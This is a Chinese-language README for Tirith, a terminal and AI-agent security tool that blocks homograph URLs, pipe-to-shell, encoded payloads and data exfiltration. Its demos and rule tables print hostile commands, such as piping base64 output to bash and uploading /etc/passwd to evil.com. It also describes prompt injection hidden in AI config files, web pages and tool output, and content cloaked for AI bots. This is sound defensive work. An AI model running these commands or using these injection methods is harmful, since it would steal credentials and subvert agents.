为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置,在它们执行之前。
你的浏览器能发现这个,但你的终端不会。
独立开源项目,托管由 Vercel 开源计划(2026 年春季批次)支持。
你能看出区别吗?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
你做不到。你的终端也做不到。两个`і`字符都是西里尔字母(U+0456),而非拉丁字母`i`。第二个URL解析到攻击者的服务器。脚本在你注意到之前就执行了。
浏览器多年前就解决了这个问题。终端仍然不加质疑地渲染Unicode、ANSI转义序列和不可见字符。AI代理执行shell命令和安装包时不会检查其中内容。
**Tirith 守卫着大门。** 它在命令、粘贴内容和扫描的文件执行之前,拦截同形词URL、混淆payload、凭证窃取、恶意AI技能/配置,以及来自签名威胁情报数据库的已知恶意包/域名/IP。```bash
brew install tirith
然后在你的shell配置文件中激活:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` 会自动检测你当前的 shell(它会检查父进程,并在需要时回退到 `$SHELL`)。仅当你想要覆盖检测结果时,才需要使用显式的 `--shell` 标志。
就是这样。你运行的每个命令现在都受到保护。对干净输入零摩擦。亚毫秒级开销。你几乎忘了它的存在,直到它拯救你。
也可通过 [npm](#跨平台)、[cargo](#跨平台)、[mise](#跨平台)、[apt/dnf](#Linux包) 以及 [更多方式](#安装) 获取。
---
## 查看运行效果
**同形攻击,在执行前被阻止:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
命令永远不会执行。
通过干净URL管道至shell,已警告,未阻止:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
警告输出到stderr。命令仍然运行。
**Base64 解码执行链,已阻止:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
捕获通过 sudo/env 包装器和 PowerShell -EncodedCommand 的解码链。
凭据泄露,已阻止:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
涵盖所有 curl/wget 上传标志、环境变量(`$AWS_SECRET_ACCESS_KEY`)以及命令替换。
**恶意技能文件,扫描时捕获:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
扫描JS/Python文件中的混淆的有效载荷、动态代码执行和秘密外泄模式。
正常命令,不可见:``` $ git status $ ls -la $ docker compose up -d
Nothing. Zero output. You forget tirith is running.
---
## 它能捕获什么
**34 个类别下的 221 条检测规则。**
| 类别 | 阻止的内容 |
|----------|--------------|
| **同形字攻击** | 主机名中的西里尔/希腊语相似字、Punycode 域名、混合脚本标签、相似 TLD、易混淆域名、文本级易混淆检测(数学字母数字、同词混合脚本) |
| **终端注入** | ANSI 转义序列、双向覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择器、韩文填充字符 |
| **隐写防御** | 不可见空白编码(12 种 Unicode 空格变体)、蒙古语元音分隔符、韩文填充字符、数学字母数字替换、对 st3gg 风格文本隐写的防御 |
| **管道到 shell** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)` 以及所有源到接收器模式 |
| **Base64 解码执行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、通过 sudo/env 封装器的解码链 |
| **数据外泄** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、环境变量上传(`$AWS_SECRET_ACCESS_KEY`)、命令替换外泄 |
| **代码文件扫描** | 混淆载荷(`eval(atob(...))`)、动态代码执行(`exec(b64decode(...))`)、JS/Python 文件中通过 `fetch`/`requests.post` 的密钥外泄 |
| **凭据检测** | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块,以及基于熵的通用秘密检测 |
| **入侵后行为** | 进程内存抓取(`/proc/*/mem`)、Docker 远程提权、凭据文件扫描,已针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| **命令安全** | dotfile 覆盖、敏感路径的归档提取、云元数据端点访问、私有网络访问 |
| **不安全传输** | 明文 HTTP 管道到 shell、`curl -k`、禁用 TLS 验证、缩短 URL 隐藏目的地址 |
| **环境** | 代理劫持、敏感环境变量导出、通过环境变量注入代码、解释器劫持、通过环境变量的 shell 注入 |
| **配置文件安全** | 配置注入、可疑指示器、配置文件中的非 ASCII/不可见 Unicode、MCP 服务器安全性(不安全/不受信任/重复/宽松) |
| **生态威胁** | Git 克隆形近词、不受信任的 Docker 注册表、pip/npm URL 安装、Web3 RPC 端点、未配置 vet |
| **安装命令安全** | 通过管道下载添加的 APT 仓库、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(禁用签名检查)、针对原始/缩短远程清单的 `kubectl apply -f`、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、来自任意 URL 的 `brew install`/`tap` |
| **路径分析** | 非 ASCII 路径、路径中的同形字、双重编码 |
| **渲染内容** | 隐藏 CSS/颜色内容、隐藏 HTML 属性、注释内容分析(高威胁提示注入,中威胁破坏性命令) |
| **伪装检测** | 服务器端伪装(机器人 vs 浏览器)、剪贴板隐藏内容、PDF 隐藏文本 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defender 排除项(`Add-MpPreference -Exclusion*`)、内联 `iex (iwr ...)` 下载执行 |
| **终端输出防御** | OSC 52 剪贴板写入、假提示符、OSC 8 超链接和标题/清屏操作、命令或 MCP 工具输出中的提示注入(同时扫描原始和解混淆版本,因此不可见字符、易混淆字符、空格分隔、混淆语、短 base64/hex 规避也会被捕获),以及输出数据外泄(信标 URL 或“读取秘密然后发送”指令) |
| **操作上下文** | 针对标记为生产环境的云/k8s 上下文和 SSH 主机的破坏性命令、Terraform/Pulumi/OpenTofu `apply` 时未匹配已保存计划、危险的 sudo 提权、特权 `docker run` |
| **工作站与持久化** | 权限过松的凭据文件与明文令牌(`~/.ssh`、`~/.aws`、`.npmrc`)、持久化据点(shell rc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`)、PATH 劫持顺序、可执行文件来源、危险别名以及敏感环境变量生命周期 |
| **爆炸半径与关联** | 逃逸仓库的删除、批量删除、执行来自危险源下载的文件、以及会话链如写入秘密后访问网络或删除后 `git push --force` |
| **信任、证明与来源** | 签名命令卡不匹配、蜜罐金丝雀令牌接触、粘贴来源主机不匹配、调用者来源(代理)策略拒绝、MCP 锁文件漂移、以及 AI 配置与已知安全快照的差异 |
---
## tirith 不能防御什么
Tirith 分析命令、粘贴文本和文件的**结构**,然后才允许执行。它是一个执行前阀门,而非运行时防御,因此不包括:
- **运行时沙箱隔离:** tirith 发出警告或阻止;它不会对运行中的命令进行沙箱隔离或隔离。
- **执行后网络监控:** 进程启动后在网络上的行为不在范围内。
- **恶意软件/载荷检测:** tirith 分析结构,而非载荷行为。它不是反病毒软件,不执行诱饵或签名匹配。(`tirith run` 检查下载脚本的结构,但仍不是恶意软件分析。)
- **特权 root/管理员攻击者:** 已经是 root 或 admin 的人可以轻易绕过 tirith。它防御被欺骗的输入,而非已经控制机器的攻击者。
- **反调试/反篡改:** tirith 不抵抗逆向工程,也不保护自身二进制文件不受本地攻击者攻击。
参见 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) 了解完整威胁模型和明确的非目标。
---
## 已知限制
- **Shell 钩子脆弱性:** 保护依赖于 shell 钩子的持续安装和激活。钩子可能在不同 shell、shell 版本、提示框架和历史工具中失效或静默降级。运行 `tirith doctor` 检查实时状态并关注仅警告的降级情况。
- **仅 Unix 功能:** 守护模式、`tirith setup`、`tirith run` 和 `tirith fetch` 目前仅适用于 Unix。
- **包名提取范围:** 涵盖语言生态系统(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle),不包括发行版包管理器(`apt`、`dnf`、`yum`、`pacman`)。
- **AI 代理注意事项:** shell 钩子拦截仅保护通过挂钩交互式 shell 执行的命令。代理如果生成非交互式 shell、直接调用 `exec` 或在未加载钩子时运行,则不受保护。MCP 保护是建议性的(代理必须调用 tirith MCP 工具),而非强制执行。
---
## 威胁情报
Tirith 附带一个签名的本地威胁数据库,用于包、主机名和 IP 信誉。当 shell 钩子或 `tirith check` 发现包安装或可疑基础设施引用时,会先于命令执行前将输入与数据库进行匹配,而非仅依赖静态启发式。
**签名数据库**(CI 每日构建,下载和加载时验证):
- 来自 [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 和 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) 的已知恶意包
- 来自 [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch) 的恶意 IP 基础设施
- 来自 [ecosyste.ms](https://ecosyste.ms/) 的已确认形近词和流行包基线
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 目录用于运行时建议关联
**可选补充数据源**(用户本地覆盖):
- 通过 abuse.ch 认证密钥获取的 [URLhaus](https://urlhaus.abuse.ch/) 和 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/) (Cisco Talos) 和 [Phishing Army](https://phishing.army/) 黑名单
- 来自 [Tor Project](https://www.torproject.org/) 的 Tor 出口节点列表
**可选的实时富化**(在 `tirith check` 和守护模式期间):
- [OSV.dev](https://osv.dev/) 建议查询 (Google OSS)
- [deps.dev](https://deps.dev/) 包健康信号 (Google OSS) 和 [ecosyste.ms](https://ecosyste.ms/) 维护者数据
- 使用您自己的 API 密钥的 [Google Safe Browsing](https://safebrowsing.google.com/) URL 信誉```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
默认情况下,shell 钩子和 tirith check 每24小时触发一次廉价的后台刷新检查。守护进程模式会在后台保持相同的富化路径处于热状态。
threat-db explain 接受一个域名、一个包名(name、ecosystem:name 或 name@version)或一个IPv4地址。该二进制文件不保留每个条目的历史记录,因此 threat-db diff 报告的是快照之间的类别和每个来源的计数差异,而不是具体变化的条目。每个 threat-db 命令都支持 --format json;threatdb 是其别名。
tirith package risk <ecosystem> <name> 对包的供应链/维护者风险进行评分,其方式与 tirith score 对URL评分相同:一个确定性、完全可解释的命名因素之和,不涉及模型和学习权重。tirith package explain <ecosystem> <name> 添加了逐因素的推导过程;两者都支持 --format json。```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**默认离线。** 未指定标志时,所有信号均为本地信号,不进行网络调用:(1) **名称与流行包对比**:已知流行、未知,或与流行名称仅差一个编辑距离(经典的域名抢注/低质量抢注形态),来自本地威胁数据库的 `popular` 集合;(2) **已知恶意域名抢注**:与威胁数据库 `typosquat` 索引完全匹配;(3) **安装/生命周期脚本** 和 (4) **捆绑的二进制文件**,仅在本地可获得包内容时(位于 `node_modules` / `site-packages` 下,或通过 `--path` 指定)进行检测。tirith **从不下载** 该包。
**`--online` 添加注册表溯源。** 它查询包的注册表(npm、PyPI 或 crates.io),获取 *相同* 因子求和模型中的另外六个因子:包/版本年龄、无所有者的已建立包、异常版本激增、下载量极低、源代码仓库缺失以及已弃用/废弃状态。这是唯一涉及网络的路径(绝不触及 `check` 热路径);`--offline` / `TIRITH_OFFLINE` 强制离线,无论其他设置如何。失败时会回退到离线评分,并诚实地显示 `api signals: unavailable`,同时响应会以 TTL 进行缓存,以避免重复运行时对注册表造成压力。
该评分是建议性的且独立的:`package risk` 不是检测规则,不会改变任何判决、退出码或审计日志。
### 生态系统扫描,供应链防火墙
`tirith ecosystem scan [path]` 是 `package risk` 的目录级配套工具。它遍历项目,发现其理解的所有依赖清单,包括 npm(`package.json`、`package-lock.json`)、Python(`requirements*.txt`、`pyproject.toml`)、Rust(`Cargo.toml`)、Go(`go.mod`)、Ruby(`Gemfile`),并使用相同的确定性 `package_risk` 因子引擎对 **每个声明的依赖项** 进行评分。```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
它集成了 slopsquat 检测。 Slopsquatting 是指注册一个看似合理但虚假的名称,LLM 倾向于将其幻觉化为依赖项。ecosystem scan 仅在同时满足三个条件时标记一个名称:该名称不是已知真实或流行的,它具有 AI 幻觉的形状(如 python-/node- 等语言前缀加上描述性令牌,或 helper/utils/client 等通用填充词的堆叠,或异常长的名称),并且它位于一个真实流行名称附近(一次编辑的近似,或它将流行名称作为单词嵌入)。要求三者同时满足可降低误报率:一个诚实的 data-utils 如果没有流行锚点则不会触发。
默认离线,可选择 --online。 名称和 typosquat 信号来自本地威胁数据库;--online 添加注册表来源,限流和降级方式与 package risk --online 完全相同,永远不会在 check 热路径上使用。发现结果通过 tirith 的正常 Verdict/Finding 模型流转:可解释(tirith explain --rule threat_suspicious_package),审计日志记录,并遵守策略白名单(白名单中的包,通过裸名称或 ecosystem:name,将被抑制)。退出代码与 tirith scan 一致:1 表示阻塞性发现,2 表示警告,0 表示干净。
这有助于捕获已知恶意包、已确认的 typosquat、slopsquatted 包名、恶意下载基础设施以及具有实时 OSV / CISA KEV 建议数据的包。
tirith 针对的攻击家族(说明性,并非当前代码捕获的声明):
包名提取目前涵盖语言生态系统(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle),不包括发行版级包管理器(apt/dnf/yum/pacman)。这就是为什么 xz-utils(通过 Linux 发行版 tar 包进入)尽管是头条事件,却没有出现在表格中。
Tirith 从 AI 编码智能体读取的配置到它们执行的命令,在各个层面进行保护。
当 AI 智能体执行 shell 命令(Claude Code、Codex、Cursor 等)时,tirith 的 shell 钩子会在每条命令运行前拦截。无需智能体端配置,如果钩子在 shell 中处于活动状态,所有命令都会受到保护:
使用 tirith setup <tool> 进行一键配置(参见 AI 智能体集成)。
运行 tirith mcp-server 或使用 tirith setup <tool> --with-mcp 将 tirith 注册为 MCP 服务器。AI 智能体可以在采取行动前调用这些工具:
tirith mcp lock 捕获仓库声明的每个 MCP 服务器,包括 .mcp.json/mcp.json/mcp_settings.json 以及 IDE 配置变体(.vscode/、.cursor/、.windsurf/、.cline/、.amazonq/、.continue/、.kiro/),生成一个确定性的锁文件 .tirith/mcp.lock。每个服务器记录其传输方式(远程 URL,或本地命令 + 参数)、声明的工具和内容哈希;服务器按名称排序,使锁文件易于差异比较。发现仅限仓库本地,不访问网络。(tirith mcp 是一个独立的命令组,与 tirith mcp-server 不同,后者将 tirith 作为 MCP 服务器运行。)
tirith mcp verify 是门控伴侣:它针对提交的锁文件重建当前清单,并在存在漂移时退出 1(匹配返回 0,使用错误如缺少锁文件返回 2)。tirith mcp diff 以信息性方式报告相同的漂移(始终退出 0,仅使用错误返回 2,因此使用者可以区分“无漂移”和“无法检查”)。漂移还会通过 tirith scan 以 mcp_server_drift(中等级别)显示,因此 pre-commit 钩子或 CI 可以像捕获未固定操作一样捕获 MCP 表面变化。verify/diff 从不打印环境变量值或 URL 用户信息,只打印更改的名称。
两个策略字段控制接受的内容:scan.trusted_mcp_servers 抑制服务器的配置发现结果并静音其漂移,scan.mcp_allowed_tools 声明每个服务器可以公开的确切工具(该集合之外的工具会出现高严重性 mcp_server_drift 发现,漂移添加此类工具会将中等级别升级为高等级)。tirith mcp policy init 从当前锁文件将两个块脚手架到 .tirith/mcp-policy.yaml.example 中,每个条目都被注释掉,因此导入不会静默扩大信任。
tirith scan 检测 AI 配置文件中的提示注入和隐藏有效载荷。它优先扫描 50 多种已知 AI 配置文件模式:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/ 设置、智能体、技能、插件、规则.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ 配置mcp.json, .mcp.json, 它在配置中捕获的内容:
tirith scan 还检查仓库中描述其构建和部署管道的文件。它检测危险的模式,而不是工具:SHA 固定的操作、摘要固定的镜像、本地 Terraform 模块和正常的 package.json 保持干净。
它在 CI / 基础设施文件中捕获的内容:
.github/workflows/*.yml):动作 uses: 引用固定到可变引用(@v3、@main)而不是提交 SHA;pull_request_target 触发器;run: 步骤中的 curl … | bash 管道到 shell;攻击者可控制的 ${{ github.event.* }} 值插入到 run: shell 步骤中(脚本注入)FROM 基础镜像使用可变的 latest 标签(或无标签)且没有 @sha256: 摘要固定*.tf):module 块来自远程 / 不可信位置,而非本地路径或 Terraform 注册表三个内置的 --profile 值调整扫描:ci-hardening(全面检查,在 high 上失败),ai-agent-repo(保留注入发现,丢弃低价值的固定卫生噪声),以及 oss-maintainer(在审查更改时强调贡献者可控制的风险)。```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
### 隐藏内容检测
检测对人类不可见但AI可读的内容,涵盖HTML、Markdown和PDF:
- **CSS隐藏**:`display:none`、`visibility:hidden`、`opacity:0`、`font-size:0`、屏幕外定位
- **颜色隐藏**:白底白字文本、相似前景/背景(对比度 < 1.5:1)
- **HTML/Markdown注释**:提示注入短语(高)、破坏性命令如 `rm -rf` 或 `curl|bash`(中)、隐藏指令的长注释(低)
- **PDF隐藏文本**:亚像素渲染文本(字号 < 1px),对阅读器不可见但LLM可解析
### AI相关文件隐藏内容扫描
`tirith scan` 也会检查AI编码代理(或渲染器)读取并采取行动的文件类型,寻找**绕过人工审查者**的隐藏内容。正常的笔记本、包含可见指令的普通 `CLAUDE.md` 文件、简单的SVG图像都会保持干净,只有隐藏/走私的内容触发警报。
- **Jupyter笔记本**(`*.ipynb`):单元格源代码中的不可见/双向/零宽度字符、嵌入源代码中的base64编码blob、从渲染视图中隐藏的单元格(`metadata.jupyter.source_hidden` / `hide_input` 标签),以及携带不可见字符或活动/隐藏HTML的单元格*输出*
- **AI代理指令文件**(`CLAUDE.md`、`AGENTS.md`、`.cursorrules` 等):仅*隐藏*指令:位于HTML注释内(在渲染后的Markdown中不可见)或视觉隐藏的HTML元素中的指令。这些文件合法包含可见指令,因此普通可见指令从不触发警报
- **SVG图像**(`*.svg`):嵌入的 `<script>`、内联 `on*` 事件处理程序、`javascript:` URI、远程 `xlink:href` / `href`,或XXE外部实体声明
### 伪装检测
`tirith fetch` 比较6个用户代理(Chrome、ClaudeBot、ChatGPT-User、PerplexityBot、Googlebot、curl)的服务器响应,以检测服务器是否为AI机器人提供与浏览器不同的内容。
---
## 操作上下文与工作站防护
除单个命令外,几个命令组将门控扩展到您的操作上下文和工作站状态。触及热路径的命令需主动启用(通过策略标志);其余命令按需运行。
**操作上下文**(`tirith context`、`ssh`、`iac`、`sudo`)。一次性标记您生产环境的云/Kubernetes上下文和SSH主机,tirith将升级关键操作:针对标记为生产环境的上下文的破坏性命令、针对标记为生产环境的主机的SSH、没有匹配已保存计划的Terraform/Pulumi/OpenTofu `apply`,或没有合理会话窗口的sudo提权。标签存储在 `~/.config/tirith/context-labels.yaml` 和 `ssh-host-labels.yaml`(或仓库作用域下的 `.tirith/`)。
**工作站卫生**(`tirith hygiene`、`persistence`、`aliases`、`env`、`exec`、`path`、`hooks`)。扫描权限过松的凭证文件和明文令牌(`~/.ssh`、`~/.aws`、`~/.kube`、`.npmrc`、`.pypirc`),对比攻击者可能使用的持久化后门(shell rc、`authorized_keys`、crontab、LaunchAgents/systemd用户单元、git `core.hooksPath`),标记掩盖关键命令或读取凭证的别名,审计 `$PATH` 防止劫持顺序,并报告二进制文件的来源(包所有者、代码签名、是否掩盖系统命令)。
**爆炸半径与隔离**(`tirith preview`、`watch`、`temp-run`、`taint`、`intend`、`baseline`)。在运行破坏性命令之前预览其文件系统影响,在运行后比较实际变化,在临时目录中运行不受信任的命令,并跟踪从风险来源下载的文件,以便后续执行时触发发现。`temp-run` 仅更改工作目录;属于文件隔离,而非沙箱。
## 信任、证明与事件响应
- **命令证明**(`tirith command-card`)使用ed25519密钥对已知良好命令进行签名;不匹配的可信卡触发高警报。
- **仓库命令清单**(`tirith commands`)是一个 `.tirith/commands.yaml` 白名单,可为已清理的命令消除未知命令提示,并添加一个仅用于提升权限的 `dangerous[]` 列表(可收紧判定,绝不削弱)。
- **蜜令令牌**(`tirith canary`)放置明确伪造的蜜令令牌;任何检查的命令、粘贴或工具输出中触及该令牌都会触发高警报。检测基于本地存储查找,而非形状匹配。
- **密钥轮换**(`tirith secret`)从审核日志读取最近的凭证发现,并为11个提供商打印特定于提供商的轮换/撤销步骤。它本身从不轮换任何内容,也不进行网络调用。
- **事件模式**(`tirith incident`)声明“受攻击”状态:强制 `fail_mode: closed`,禁用 `TIRITH=0` 绕过,并提升凭证扫描、解码执行和可疑二进制规则的严重性,直到您停止该模式。
## 输出、粘贴与共享安全
- **输出方向防御**(`tirith view`、`tirith output`、`gateway run --filter-output`、`mcp-server --sanitize-tool-output`)消除命令和MCP工具输出中的终端欺骗转义:OSC 52剪贴板写入、虚假提示、OSC 8超链接不匹配以及标题/清屏操作。它还扫描输出中的提示注入(原始和去混淆形式)以及数据泄露信标。使用 `injection_seeds_custom` 添加自定义种子,并选择将仅包含注入的MCP块编辑为警告(而不是阻止整个输出),使用 `mcp_redact_injection`。
- **受众感知编辑**(`tirith share`、`tirith redact`、`tirith logs`)在您粘贴到GitHub问题、Slack、LLM或公共粘贴板之前,去除密钥和客户/租户ID。
- **粘贴溯源**(`tirith paste --with-source`、`tirith browser`)。在安装配套的Chrome原生消息主机后,tirith将粘贴的命令归因于其来源页面,并标记来源主机与命令运行主机不同的粘贴。
---
## 安装
### macOS
**Homebrew:**```bash
brew install tirith
Debian / Ubuntu (.deb):
从 GitHub Releases 下载,然后:```bash sudo dpkg -i tirith_*_amd64.deb
**Fedora / RHEL / CentOS 9+ (.rpm):**
从 [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) 下载,然后:```bash
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):```bash yay -S tirith
**Nix:**```bash
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux 运行在 Bionic libc 上,而不是 glibc,因此 aarch64-unknown-linux-gnu
构建无法在此运行,它需要 glibc 的动态链接器。请改用 musl 构建:
tirith-aarch64-unknown-linux-musl.tar.gz 是静态链接的,可以在不依赖外部 libc 的情况下在 Termux 上运行。```bash
pkg install curl tar
curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
然后激活shell钩子到`~/.bashrc` (Termux的默认shell是bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] Termux 的支持是尽力而为的。musl 构建产物会在 CI 中构建并进行冒烟测试,但 tirith 尚未在真实的 Android 设备上进行持续测试。 如果某个钩子在 Termux 下行为异常,请打开一个问题,并附上
tirith doctor的输出。
所有核心功能在 Windows 上均可使用,包括检测、扫描、webhook、策略管理和审计上传。Shell 钩子支持 PowerShell。守护进程模式和 tirith setup 目前仅适用于 Unix。
Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith
**Chocolatey** (审核中, 等待批准):```powershell
choco install tirith
npm:```bash npm install -g tirith
**Cargo:**```bash
cargo install tirith
Mise (官方注册表):```bash mise use -g tirith
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
### 激活
添加到你的 shell 配置文件(`.zshrc`、`.bashrc` 或 `config.fish`):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell |
|---|
当自检证明 enter 模式在你的 bash 上有效时,bash 会使用该模式,否则使用 preexec。 tirith setup / tirith doctor 运行自检;Shell 钩子启动时会读取其缓存的判定结果。关于两种模式、自检以及 SSH 回退行为,请参阅 故障排除。
[!WARNING] bash 的 preexec 模式会发出警告,但不能在原地阻止。设置
TIRITH_BASH_PREEXEC_ENFORCE=1可通过shopt -s extdebug实现真正的阻止。当HISTCONTROL包含ignorespace/ignoredups/ignoreboth,或设置了任何HISTIGNORE,或set +o history处于活动状态时,强制模式拒绝激活,因为这些会使阻止操作出现竞态条件。
要在 bash 上获得有保证的行级阻止,运行 tirith doctor --simulate-enter,如果传递有效,enter 模式即被启用。如果无效,则使用 preexec 强制模式,“尽量阻止;无法阻止时如实告知”。
Nix / Home-Manager: tirith 必须位于 $PATH 中,Shell 钩子在运行时通过名称调用 tirith。仅将其添加到 initContent 是不够的。```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';
### 更新和验证 tirith
tirith 可以验证自身的完整性并自我更新。这两个命令仅在运行时才会访问网络。```bash
tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
tirith verify-self 确认当前运行的二进制文件是来自官方发布的正版、未修改的二进制文件。它会根据你的版本和目标重新下载发布归档,对照已签名的发布 checksums.txt 进行验证,当安装了 cosign 时验证 checksums.txt 上的 cosign 签名,并确认运行的二进制文件与官方版本字节一致。如果无法进行完整验证(例如本地开发构建、无网络、或安装方式无法识别),它会如实告知,而不是报告虚假的“已验证”。当缺少 cosign 时,仍会验证校验和(报告为 verified-checksum-only);安装 cosign 以获得完整的签名验证(verified-signed)。
tirith update 能感知包管理器:
brew upgrade tirith。通过包管理器更新可保持其数据库一致性。install.sh tarball 或独立二进制文件)则原地更新:tirith 下载最新发布版本,进行验证,然后原子性地替换二进制文件,并将之前的版本保留为 tirith.tirith-previous 的辅助文件。默认情况下会验证 cosign 签名:如果无法验证(缺少 cosign 或发布版本未提供签名),更新将中止。传递 --allow-unsigned 可回退到仅校验和验证;校验和不匹配无论如何都会中止。tirith update --rollback 回退到之前的二进制文件;--dry-run 则显示将要执行的操作而不实际更改。[!NOTE] 安装脚本(
scripts/install.sh和 Windows 下的install.ps1)默认也会验证发布的 cosign 签名,如果缺少cosign或无法验证签名,则会中止。请先安装cosign,或设置TIRITH_ALLOW_UNSIGNED=1以使用仅校验和验证进行安装(不推荐)。无论是否选择退出,校验和或签名不匹配始终会导致中止。
Oh-My-Zsh:```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
plugins=(... tirith)
### AI Agent 集成
使用 `tirith setup <tool>` 实现一键配置:```bash
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup copilot-cli # GitHub Copilot CLI (run from repo root)
tirith setup cursor # Cursor
tirith setup gemini-cli --with-mcp # Gemini CLI + MCP server
tirith setup kiro # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli # Pi CLI
tirith setup vscode # VS Code
tirith setup windsurf # Windsurf
对于手动配置,请参阅 mcp/clients/ 目录下的每个工具指南。
GitHub Action 配合 SARIF 上传到 GitHub 安全选项卡:```yaml
同样可作为**pre-commit钩子**使用:请参阅此仓库中的 `.pre-commit-hooks.yaml`。
Scan支持`--include`、`--exclude`、`--profile`(从策略加载命名配置文件)和`--ignore`过滤器,用于针对性CI扫描。
### 规则文档```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
每个发现结果都附带一条按规则生成的修复建议:一行简短准确的"如何使其安全"说明,显示在每个发现结果下方(Fix:)以及 --format json 输出中。
tirith explain --rule <id> --fix 可单独打印该修复建议。
当某个命令被阻止或警告时,tirith check --suggest
还会额外打印出对实际命令的具体更安全的重写版本,但仅在该转换确实更安全且正确的情况下生效:```bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'
它将对管道到shell的操作重写为下载-审查-运行模式,移除不安全的TLS标志(`-k` / `--insecure` / `--no-check-certificate`),并将纯文本的 `http://` 切换为 `https://`。对于没有安全机械重写方式的发现项(同形异义主机名、归档提取目标等),它会明确说明并显示补救措施,而不会发出虚假建议。该标志为建议性标志:它既不改变判定结果,也不改变退出代码。
### 守护进程模式 (Unix)
用于亚毫秒级延迟和网络感知增强的可选后台进程(短链接解析,DNS 黑名单检查):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] 守护进程模式目前仅支持 Unix 系统。
日常使用的命令:
